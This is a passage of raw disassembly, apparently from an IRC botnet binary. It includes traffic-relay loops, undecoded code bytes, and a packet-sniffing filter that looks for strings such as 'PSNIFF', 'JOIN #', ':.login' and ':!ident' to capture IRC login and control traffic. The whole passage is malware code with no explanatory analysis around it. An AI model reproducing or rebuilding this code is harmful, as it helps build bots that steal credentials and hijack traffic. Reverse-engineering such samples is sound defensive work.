loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 27E2D7E8h, 4D8B9002h, 34C969C8h, 3B000002h, 248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0F1AAE890h
		dd 0EDEB0226h, 0EB15E890h, 8D500227h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22DECB0h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22DEC2Ch, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2DEBFBE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 65E89053h, 6A022DEBh, 0E8458D10h,	49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0CDE89053h, 8D022DEAh
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 2DEA5FE8h, 689002h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	1E89053h
		dd 0FF022DEAh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 0E9E89053h
		db 0E9h, 2Dh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	226ED0Ch
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0E84AE853h, 8D90022Dh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 45E89000h, 0FF0226ECh
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0EC12E890h, 8D530226h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh
		dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF93B9E8h, 1CC483FFh, 59E89053h, 8B022DE7h,	9F39087Dh
		dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9BC15FFh, 0C085004Ch
		dd 2218E0Fh, 88A00000h,	8B0043DBh, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 0AC15FF56h, 0FF004CB9h, 4589C875h, 6015FFF8h, 50004CBAh
		dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh
		dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA3815FFh, 9D39004Ch
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h
		dd 0FFFF31BDh, 850F04FFh, 0EDh,	0FF338D8Ah, 858AFFFFh
		dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
		dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh,	0E7E85001h
		dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh,	478D50F4h
		dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h, 75FB3B00h
		dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h, 9D18E850h
		dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h,	0FFFFF888h
		dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
		dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h
		dd 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
		dd 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h
		dd 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh,	8DFF0000h
		dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
		dd 0FFFF90FAh, 0E8905359h, 22DE49Ch, 3E868h, 9E89000h
		dd 570226E9h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 26E7EFE8h,	15FF9002h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2DDF1FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0DE4AE890h, 458B022Dh, 69106AD0h,	234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	0DDC6E856h
		dd 5690022Dh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 2DDD43E8h, 0BB539002h, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2DDBA3E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
